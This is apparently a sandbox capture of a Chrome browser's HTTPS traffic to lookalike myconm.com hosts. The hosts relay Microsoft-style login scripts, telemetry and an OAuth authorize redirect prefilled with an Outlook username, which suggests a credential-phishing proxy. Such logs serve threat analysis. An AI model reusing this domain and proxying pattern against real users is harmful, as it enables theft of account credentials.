2024-12-09 17:43:12 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2024-12-09 17:43:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.17	49831	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:11 UTC	553	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:12 UTC	761	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:12 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:47 GMT etag: 0x8DB5C3F48EC4154 x-ms-request-id: 6132c721-501e-0004-551a-434e51000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174312Z-15b54885d9625p44hC1FRA4gmn0000000peg000000003vfq x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2024-12-09 17:43:12 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2024-12-09 17:43:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.17	49834	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:13 UTC	603	OUT	GET /shared/5/js/login_en_GZu1H3AHaJ0ROCr2BSwwfw2.js HTTP/1.1 Host: 32eb4ebc-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l1ve.myconm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://l1ve.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:43:16 UTC	746	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:16 GMT Content-Type: application/x-javascript Content-Length: 245852 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 2183336 cache-control: public, max-age=31536000 etag: 0x8DD03B95197DD49 last-modified: Wed, 13 Nov 2024 08:01:02 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 3c9b8f27-301e-0024-0a86-36a26e000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-12-09 17:43:16 UTC	15633	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dc bd 6b 77 db b8 b2 20 fa fd fe 0a 5b 37 4b 8b 3c 86 15 c9 ce 93 0a 5b 93 c4 76 27 dd 79 75 1e 9d ee f6 f6 78 d1 12 6c 31 91 48 85 a4 ec 38 b6 fe fb ad 07 9e 24 e5 24 fb cc 99 39 77 b2 56 2c 10 04 81 42 a1 00 54 15 aa 0a b7 ff 63 73 e3 20 2f 36 66 e9 58 66 a5 dc 48 b3 d3 bc 98 27 55 9a 67 1b 8b 99 4c 20 ab 94 72 63 96 9f a5 d9 b1 cc 7a 9f ca de 8b e7 4f f7 5f bd db ef 55 5f ab 8d ff b8 fd ff 6c 9e 2e b3 31 96 0f c2 ab f3 a4 d8 90 a2 12 99 28 44 2e d2 f8 ea ee 60 f7 6e 64 0a d0 ab f0 aa b3 c4 5a ab 22 1d 57 9d 21 7e 52 c4 59 b0 f3 f0 ee 20 14 79 7c 35 9e a6 b3 c9 d3 3c ab e4 d7 ea fd e5 42 96 d1 66 5f 8c ed 73 ed 91 5e 4f e4 69 b2 9c 55 6f 8a 7c c1 cf 69 b9 98 25 97 af 92 39 15 3f 93 d5 5e ad 04 65 15 e9 b9 9c bc ab 92 4a 1e Data Ascii: kw [7K<[v'yuxl1H8$$9wV,BTcs /6fXfH'UgL rczO_U_l.1(D.`ndZ"W!~RY y\|5<Bf_s^OiUo\|i%9?^eJ
2024-12-09 17:43:16 UTC	12535	IN	Data Raw: 67 f9 1c bf b9 ef 61 76 f7 81 83 d9 dd 87 3e 5a ef f4 3d a4 de 81 da 9e 67 a5 44 5b 8b 3b f7 2c 7e 07 d8 c7 83 01 26 00 92 83 1d 4c 00 18 07 bb 98 80 6f 0e ee 60 02 3e 38 b8 8b 09 00 e0 e0 1e 26 a0 e9 83 fb 98 80 66 0f 1e 20 aa a0 bd 83 87 98 18 60 85 7d 4c 51 d5 58 f7 0e d6 3d c0 ca ef 40 e5 af 96 73 c6 c7 00 a1 72 87 6a 67 07 5e a3 8a 10 86 25 f1 66 02 50 77 5d 8b 43 24 af e9 3f cf 0f e9 19 3d 59 f0 97 38 3e 6f a0 bd bb 5e d4 32 61 0f 29 ad 12 87 23 ac ca 98 66 57 38 52 a3 1e b5 1d 27 ca da 91 ba d6 e7 5a dd 3e 57 99 2a e0 f0 a3 23 ba 43 de 81 2b ea 40 67 b5 0b e5 bf af 0f 2c 80 e9 4a 94 c6 87 0f 2a d7 eb 09 f5 22 d0 b6 76 b5 60 84 30 01 93 5f a8 2e ac f9 ec bb 68 30 38 c0 ba e8 20 f6 a7 00 f8 e9 36 60 39 9d e5 ae da 0d 4f 5f e9 32 ac 53 59 e8 a5 bd f4 Data Ascii: gav>Z=gD[;,~&Lo`>8&f `}LQX=@srjg^%fPw]C$?=Y8>o^2a)#fW8R'Z>W#C+@g,J"v`0_.h08 6`9O_2SY
2024-12-09 17:43:16 UTC	16384	IN	Data Raw: ab c1 8e 8b 2c bd 5f b0 a0 1b 48 67 76 70 d4 7a f8 64 f0 0c 93 96 55 32 12 20 1e 8d 64 3d d7 47 6a 77 60 55 d4 0f 9f 32 6f cd 94 df 34 96 6b 34 6a 1e 8e ad 7b 84 aa 67 b4 6d 34 55 3b e6 72 b0 ab ae 79 20 43 87 6a 2b 3d d5 9a ae 57 14 6a 3a c5 db ce 4b 6e b5 5b ae f5 5a 50 32 38 f7 03 9c 54 cc 28 90 74 15 d2 62 7c 85 67 90 ec ce e7 ea ca ca 3e 5f 73 c8 26 e8 03 11 0a e1 b3 60 15 5e 41 46 46 1f a4 a8 b1 05 ec 81 9d 89 2d 41 a3 6c 06 52 4d 35 de ad 19 e1 ad ea 81 d8 0c 44 3f 66 09 08 49 05 59 cb 3d af d6 05 c1 a6 e9 c5 af bf 92 a1 2d 1a b0 b0 a3 63 8c 7d e3 e8 91 f5 98 37 f9 98 e7 64 d5 21 50 f5 b5 ad b3 52 7a 23 72 ac b6 74 48 ae 72 b2 70 e9 09 b3 18 a4 04 d2 6b e8 04 04 2a 21 62 e4 b7 3e b7 32 fe ff bb b7 a0 6d 51 b3 da ea 3c 72 6a e7 df 99 5a eb 73 ab 12 Data Ascii: ,_HgvpzdU2 d=Gjw`U2o4k4j{gm4U;ry Cj+=Wj:Kn[ZP28T(tb\|g>_s&`^AFF-AlRM5D?fIY=-c}7d!PRz#rtHrpk*!b>2mQ<rjZs
2024-12-09 17:43:16 UTC	16384	IN	Data Raw: 57 a2 c3 0d 1e 4f bc cf 9e da ed 27 c0 c8 03 6f 3f b9 9f a4 71 17 43 8e 8b f0 9f 98 ad 6f 3c f5 d0 69 b3 14 13 3f a0 f4 7d c1 04 3a 97 08 e5 c6 7f 80 af 74 72 fa 3a 7f 68 02 37 e1 58 ff 5c 5b 2f cc 39 56 51 0c 12 3a 7a eb 1f 28 25 1d 39 f9 6b 34 3f 24 d8 fd 34 a2 07 25 9c f7 02 e1 0a a4 31 ff 07 4a 1f 3b b2 7b 01 81 07 c6 11 db 4b f6 9b 47 86 25 38 a5 7f 6b 58 39 65 88 c6 e8 c7 b1 07 f3 74 e0 c8 eb d2 9f 2e 16 bb e0 95 01 76 04 95 c2 51 09 cb 0e a3 ea 01 b1 ad b8 29 25 77 c4 fa d3 35 d0 03 44 eb 07 45 f8 20 3b 20 af 54 7c 3d c8 16 a2 83 c9 3d f2 70 76 d2 05 58 dc 88 4f fd 71 0e cd 03 0c 01 ff 75 7d fd 9b d7 fd ac 40 76 4d be be 66 c1 2e 0a 4d bf 39 f0 3b f5 8e c5 cc 11 a5 09 a2 05 55 aa 89 26 d1 94 cb f4 b0 01 0c 08 e1 ef ec 5a 0b a2 b3 b3 ec 93 f1 1f bd Data Ascii: WO'o?qCo<i?}:tr:h7X\[/9VQ:z(%9k4?$4%1J;{KG%8kX9et.vQ)%w5DE ; T\|==pvXOqu}@vMf.M9;U&Z
2024-12-09 17:43:16 UTC	16384	IN	Data Raw: 12 ec 04 6d 78 1a f7 7f ab 18 61 2b d6 b6 86 3a 85 1a 33 df 2d ae 06 d9 0a d0 23 5b 93 2f 6f 0c cb 55 36 c8 34 6a 99 b2 f8 d0 0d c4 cb 9c 22 9b 16 17 2f 4b f4 db 55 f9 f0 a9 b3 94 85 b6 b1 36 65 33 2c 1c 00 10 75 4b 8c 1f 01 70 90 51 5a 3c 89 04 e1 01 b1 b9 74 bc cb 99 8d 2e e8 f2 16 67 76 a7 5c f9 da db 0b c9 4d 5b d1 6e 4e 1b 86 19 c6 c8 d7 f4 1b 1d df e2 df 80 a5 b6 d1 a0 08 99 56 f7 9b 90 c0 bf 59 02 93 0e 5e e9 28 4d f7 6d 24 7f b6 35 f2 e7 94 b9 00 e7 de 8a 8a fe de 37 34 0e 91 c2 d1 f7 c4 a3 4a 89 b5 c2 25 0d da 1a 16 b0 25 cc 13 08 6d 0b c3 43 17 7f 91 4a ea 51 46 16 df c5 aa 00 1e 8c f2 0d 75 3c 90 68 13 46 f2 c3 91 50 e5 91 af 42 f1 98 10 72 5e 1e 21 cb 28 a6 60 b2 f6 f4 3b 12 a5 58 04 d7 e0 67 9c 69 7c 0c 47 76 7d d4 f3 64 35 3d 94 4e 61 da 0e Data Ascii: mxa+:3-#[/oU64j"/KU6e3,uKpQZ<t.gv\M[nNVY^(Mm$574J%%mCJQFu<hFPBr^!(`;Xgi\|Gv}d5=Na
2024-12-09 17:43:16 UTC	16384	IN	Data Raw: ea e9 cd 4f 19 47 38 c5 03 60 00 84 88 e0 41 da 5e e9 00 de 2f e3 33 88 cf e0 dc a4 ed 55 3c 37 32 7e d2 1a a2 94 a2 df 8e dc 21 10 6f 3d 94 9a bc 45 3c b6 b1 31 78 2e 70 ed 8d 41 cd 27 bb fc e3 f6 a0 c3 1c 2b e0 17 9b d4 91 1f d6 c2 08 82 b5 7c a3 df 1e 75 28 49 2c 48 5f d3 fd 8b 6c 35 23 65 d8 0e 80 58 cd 48 88 0b d3 80 fb 25 a4 fb 85 1c 6d aa 79 50 f7 4c 1e d5 83 f1 78 78 63 73 9e 95 b0 de 02 6b c2 f5 db 95 22 a5 ae 50 f8 75 bb c2 35 59 2b bb 92 7c dd ae 70 ff c0 7a 57 68 3b e1 e6 06 e4 02 d1 fb cb a8 d7 0b 51 55 b6 07 db 3b 44 86 4a 0f 4e 32 7d 64 09 20 33 94 32 b9 20 8d df 41 9a 24 1f 43 32 a1 d1 23 1b 0d 64 e4 82 19 19 c0 0f ed 4c 04 91 ee 6d 29 02 30 dc 1d 4e 00 19 12 9a 8b c3 4a df 9f 25 d5 ac c5 c5 07 8c 22 03 42 60 3f d8 27 a2 2b ab 2c 1a c5 51 Data Ascii: OG8`A^/3U<72~!o=E<1x.pA'+\|u(I,H_l5#eXH%myPLxxcsk"Pu5Y+\|pzWh;QU;DJN2}d 32 A$C2#dLm)0NJ%"B`?'+,Q
2024-12-09 17:43:17 UTC	16384	IN	Data Raw: 0c 5c 34 10 60 b1 86 e0 5f b9 bd c3 5f 08 bf 93 4f e6 c0 16 1b ca 58 c9 f0 94 04 5c 25 f4 ac 56 53 0c f4 d6 3f 7b 7f 47 d5 52 ab 01 69 c1 1f 3f 6f 1b 04 e3 93 85 ce 47 59 89 2e 6e 00 1e 2a e6 a0 d0 58 11 58 d9 d0 80 59 8d aa 68 0a 1a ba 9e cb ce f2 71 f6 c7 bc 49 a9 f9 62 f6 1f a2 6a e9 3a 3e fc b9 5d c7 d7 17 e3 3a 3e dc c8 75 7c 70 c9 ae e3 c3 2b 72 1d 1f 5c 81 eb f8 46 f8 36 b0 3a 74 ce 54 4d 37 c3 7f 3c 9e cd b3 f4 0c 01 60 1d c1 28 a2 9c 7f 65 6f b3 85 eb 39 2f 49 5f 18 be 6e 93 f5 bf a4 69 da 70 cb 96 ac 1c b2 9e 4b 2e 67 df 91 54 c1 16 0f 0d 95 5a 98 77 06 b4 0d 04 77 cc 8d b0 ef 9b 8c 62 a6 81 21 8b c3 de e5 92 66 c5 e0 bb 9d cc 6e 89 29 db 89 62 0c 1b cc 4b 1a d0 4b 10 e3 4d 71 a6 08 a7 cf 42 38 09 b2 7a 22 6b 45 aa 6b bd f3 65 2c f1 73 01 e4 ad Data Ascii: \4`__OX\%VS?{GRi?oGY.n*XXYhqIbj:>]:>u\|p+r\F6:tTM7<`(eo9/I_nipK.gTZwwb!fn)bKKMqB8z"kEke,s
2024-12-09 17:43:17 UTC	16384	IN	Data Raw: 11 1d 12 65 e6 89 af 2d ce 6c 23 af 06 9b 18 6c 20 9d 80 30 e0 d1 4f d9 56 04 cc 36 b9 8c ae bc 00 fe 88 4d fe 74 41 9d bc c1 65 50 90 1b bc da 95 67 e5 81 b0 0b a3 49 4d eb be 57 a7 39 4c 71 22 63 71 29 f7 1a 34 5b 31 c6 9a da bf b6 27 13 f8 e3 3d 00 27 24 f4 9b 8e bd 87 e2 3d 00 bb 1c 10 87 d6 65 87 d1 86 43 67 61 24 da 74 e4 6c 3c 5c 2e 9c 23 17 8f 8d 11 92 bb a3 99 79 29 61 be ad d1 ef 65 cc 77 13 86 e3 e8 c2 c5 84 d4 5e e2 d7 11 39 0d 26 e5 a8 3a 77 e5 63 b1 db 82 ca 62 a5 13 c7 1f 43 54 e1 52 ae 7b 20 f5 cc cb 8c 5a 4e 39 4a 57 b0 d2 2e 27 6a 85 0b 89 5a fe d6 c8 22 b1 15 60 6d c3 34 c8 5f 18 cd 38 55 af bb 05 4d a5 b2 63 f3 fa d4 ed 00 85 e9 72 30 a4 4f 48 48 6c ee e7 d8 fc bb 4c ea 4c c7 2e 97 71 11 3a 1c e3 d5 64 5c ed 40 15 e4 e2 18 8d 2d 38 f6 Data Ascii: e-l#l 0OV6MtAePgIMW9Lq"cq)4[1'='$=eCga$tl<\.#y)aew^9&:wcbCTR{ ZN9JW.'jZ"`m4_8UMcr0OHHlLL.q:d\@-8
2024-12-09 17:43:17 UTC	16384	IN	Data Raw: b4 9d 96 dd 85 ce 63 9a 30 f1 65 97 34 e9 8e 20 37 40 83 24 39 87 8c 08 63 38 4b 18 3a 21 f7 0a 9e 0b 07 06 c1 63 c0 ac 59 a1 82 bf 85 d6 25 d4 b6 16 4b d8 96 cd c7 9e 88 c9 b4 66 1d 31 50 3a b3 4d f0 7d a0 8a 2f 85 62 86 54 16 de 4e 88 1e ff 25 fb bc 6a 82 d8 3c e4 62 33 0b 54 75 e5 33 2a 6d 6c cd 31 22 7b ec 1d 04 1f 13 f7 46 8c ca 00 ed 83 70 4c c7 14 d3 99 58 e2 2b 83 cf c1 92 e6 00 56 dc 0d 87 77 7f 27 b2 3d 8a ac 3d 13 5b 3a c4 12 df 4f 73 f6 2a 6c 46 6e a8 c7 28 7c 6c f3 4f 8f 7d c0 ee 2d 47 16 f3 4c 01 53 0b 90 21 9c 4a c2 b8 85 e9 c0 37 3e ee 1d 9f 1b 6e 0f 88 fe 8e 10 fd 02 30 9f 9e 3a 37 76 5b f6 9d 2b b9 10 9f 26 6d af 67 03 f7 b9 95 dc c7 a9 de f9 83 12 dd 51 36 ef 61 fd a7 b2 6f 98 92 5f bb 4d f6 71 de 65 fb 8a 37 97 89 b2 7d b7 5d 56 5c c9 Data Ascii: c0e4 7@$9c8K:!cY%Kf1P:M}/bTN%j<b3Tu3ml1"{FpLX+Vw'==[:OslFn(\|lO}-GLS!J7>n0:7v[+&mgQ6ao_Mqe7}]V\
2024-12-09 17:43:17 UTC	16384	IN	Data Raw: fb 39 20 d9 90 58 19 b1 7e 8d 14 ef 79 e1 69 e6 0d cc 3b bc 22 4c 92 10 78 86 2a 53 29 bf 80 be 0f 88 1d 17 9f 53 4f d0 0f 63 cc 32 40 1a 2a 17 38 09 04 36 40 6a 7a 87 40 4a 86 a4 6d 6c 46 e1 14 85 8a 37 e1 f0 c3 38 84 15 e6 6d d7 d8 55 1e 18 23 51 62 c7 b9 32 15 37 7b 33 dd a3 30 f5 35 b6 f0 92 5e 4e ce 64 38 5e 44 46 37 9e 64 32 88 8f c8 5d 2a 7f 78 48 1e 1e e6 5c 07 a8 88 2a 36 08 ff 2f f8 02 8c fd d4 b0 fe 71 8f 80 21 43 7f 46 48 5a 20 26 bd f5 aa 65 53 81 4e 75 b8 39 80 bd ac 4f f3 f1 5e 4d 8e ee 9e c8 93 c9 d5 61 60 30 8b a9 6b 64 18 a0 1d cd ba c2 4f df e5 f7 71 c5 17 6a 16 58 d7 bb 8f b5 a8 ef 6a 26 89 f7 cd 38 34 a6 8a c1 e4 99 1a 21 b6 32 10 de f3 52 90 72 35 db 54 a8 e9 20 07 6b b1 52 0d 1f df ee 63 1d ef 3e e1 34 9a 54 09 37 2c cd 6b 51 5d cd Data Ascii: 9 X~yi;"LxS)SOc2@86@jz@JmlF78mU#Qb27{305^Nd8^DF7d2]xH\6/q!CFHZ &eSNu9O^Ma`0kdOqjXj&84!2Rr5T kRc>4T7,kQ]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.17	49833	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:13 UTC	1039	OUT	POST /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.6&apikey=b0c252808e614e949086e019ae1cb300-e0c02060-e3b3-4965-bd7c-415e1a7a9fde-6951&upload-time=1733766191542&time-delta-to-apply-millis=use-collector-delta&w=0&NoResponseBody=true HTTP/1.1 Host: f3b9289a-0e591a27.myconm.com Connection: keep-alive Content-Length: 1914 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://offcap.myconm.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:13 UTC	1914	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 49 44 55 58 5f 45 53 54 53 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 5f 57 65 62 57 61 74 73 6f 6e 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 30 39 54 31 37 3a 34 33 3a 31 31 2e 35 33 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 62 30 63 32 35 32 38 30 38 65 36 31 34 65 39 34 39 30 38 36 65 30 31 39 61 65 31 63 62 33 30 30 22 2c 22 65 78 74 22 3a 7b 22 61 70 70 22 3a 7b 22 76 65 72 22 3a 22 32 2e 31 2e 31 39 35 36 38 2e 33 22 2c 22 6e 61 6d 65 22 3a 22 49 44 55 58 5f 45 53 54 53 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 5f 57 65 62 57 61 74 73 6f 6e 22 2c 22 73 65 73 49 64 22 3a 22 7a 42 6e 69 52 6d 71 4d 38 72 68 2b 62 32 57 37 33 58 64 37 59 75 22 Data Ascii: {"name":"IDUX_ESTSClientTelemetryEvent_WebWatson","time":"2024-12-09T17:43:11.537Z","ver":"4.0","iKey":"o:b0c252808e614e949086e019ae1cb300","ext":{"app":{"ver":"2.1.19568.3","name":"IDUX_ESTSClientTelemetryEvent_WebWatson","sesId":"zBniRmqM8rh+b2W73Xd7Yu"
2024-12-09 17:43:16 UTC	822	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 09 Dec 2024 17:43:16 GMT Content-Type: text/html; charset=utf-8 Connection: close p3p: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" time-delta-millis: 4751 access-control-allow-headers: P3P,Set-Cookie,time-delta-millis access-control-allow-methods: POST access-control-allow-credentials: true access-control-allow-origin: https://offcap.myconm.com access-control-expose-headers: time-delta-millis set-cookie: MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; Domain=myconm.com; expires=Sun, 17 Nov 2080 11:26:32 GMT; Path=/; Secure set-cookie: MS0=0948991d4b3d449c8f22fe345e27b6c0; Domain=myconm.com; expires=Sat, 18 Nov 2079 11:56:32 GMT; Path=/; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.17	49837	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:13 UTC	646	OUT	GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1 Host: l1ve.myconm.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l1ve.myconm.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA==" Sec-WebSocket-Key: cLnuZn7d9cyJr69dqTrFxA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-09 17:43:14 UTC	296	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Dec 2024 17:43:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ppserver: PPV: 30 H: BL02EPF0001DA3A V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:43:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.17	49827	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:17 UTC	1815	OUT	POST /GetExperimentAssignments.srf HTTP/1.1 Host: l1ve.myconm.com Connection: keep-alive Content-Length: 381 correlationId: 970e892d5314442cb6158e07d409df4c sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 970e892d5314442cb6158e07d409df4c Content-type: application/json; charset=utf-8 hpgid: 33 Accept: application/json hpgact: 0 sec-ch-ua-platform: "Windows" Origin: https://l1ve.myconm.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
